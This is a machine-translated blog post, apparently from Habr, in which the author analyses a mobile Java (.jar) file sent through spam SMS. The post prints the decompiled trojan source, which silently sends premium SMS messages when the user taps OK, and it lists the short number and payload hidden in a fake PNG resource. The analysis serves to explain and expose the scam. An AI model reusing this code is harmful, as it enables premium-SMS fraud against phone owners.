12:11 A little research sms spam | |
Picture on the right does not quite match the content of the post, just a small example of SMS spam. So, the story itself: got a sms yesterday read: "You MMS message tutu.wml.in / lo.jar» Obviously, this is another divorce, and I did not open the link and do something else. But this morning I was wondering what is out there, how it works and what does. I downloaded from a computer that dzharnik and unpacked. Inside was everything from the minimum: Big Picture compiled java class main.class Some dubious APG-scale, capable of being opened the picture viewer. Class ResourceUTF8, apparently taken from here. Decompile the contents of the Maine class, I saw the following code: import java.io.IOException; import javax.microedition.io.Connector; import javax.microedition.lcdui.Command ; import javax.microedition.lcdui.CommandListener; import javax.microedition.lcdui.Display; import javax.microedition.lcdui.Displayable; import javax.microedition.lcdui . Form; import javax.microedition.lcdui.Image; import javax.microedition.midlet.MIDlet; import javax.wireless.messaging.MessageConnection; import javax.wireless . messaging.TextMessage; import lib.Resources.ResourcesUTF8; public class main extends MIDlet implements CommandListener { public static ResourcesUTF8 language; private boolean isLanguage; private Form form; private Image image; private Display display; private Command cmd_ok; private Command cmd_cancel; public main () { language = new ResourcesUTF8 ("/ sample.png"); this.isLanguage = language.load (); this.cmd_ok = new Command ("\ u041e \ u043a", 4, 2); this.cmd_cancel = new Command (" \ u041e \ u0442 \ u043c \ u0435 \ u043d \ u0430 ", 7, 4); } public void startApp () { this. display = Display.getDisplay (this); try { this.image = Image.createImage (language.get ("picname")) ; } catch (IOException var2) { System.out.println (var2.getMessage ()); ;} this.form = new Form (language.get ("title")); this.form.append (language.get ("textvalue")); this.form.addCommand (this.cmd_ok); this.form.addCommand (this.cmd_cancel); this.form.setCommandListener (this); this.display.setCurrent (this.form); } public void pauseApp () { System.gc (); } public void destroyApp (boolean var1) { ;} public void commandAction (Command var1, Displayable var2) { if (var1 == this.cmd_ok) { ; String var3; MessageConnection var4; TextMessage var5; try { var3 = "sms: / /" + language.get ("numberphone1"); var4 = (MessageConnection) Connector.open (var3); var5 = (TextMessage) var4.newMessage ("text"); var5.setPayloadText (language.get ("message1")); var4.send (var5); ;} catch (Exception var8) { ; } try { var3 = "sms: / /" + language.get ("numberphone2"); var4 = (MessageConnection) Connector.open (var3); var5 = (TextMessage) var4.newMessage ("text"); var5.setPayloadText (language.get ("message2")); var4.send (var5) ; } catch (Exception var7) { ; } try { var3 = "sms: / /" + language.get ("numberphone3"); var4 = (MessageConnection) Connector.open (var3); var5 = (TextMessage) var4.newMessage ("text"); var5.setPayloadText (language.get ("message3")); var4.send (var5); } catch (Exception var6) { ; ;} this.form.delete (0); this.form.append (this.image ); } if (var1 == this.cmd_cancel) { this.notifyDestroyed () ; } } } * This source code was highlighted with Source Code Highlighter. If anyone is interested decompiled decompiler online Fernflower. To understand what the code does, we can not even be a programmer. He takes some information from the country png-shki and sends sms-ki from the phone. Here are the contents of png, if it is to open Notepad: title = OTKPblTKA textvalue = View Card? Picname = / love.JPG numberphone1 =7132 message1 =199,414,999,922 And here is the number to be sent SMS and text messages. Yes, the denouement is very trivial. And one would expect just that. But still, I think that is not wasted time. And perhaps someone from the community Habra, this information may seem interesting. UPD: wrote a complaint to support the owner of a short number, using this instruction. | |
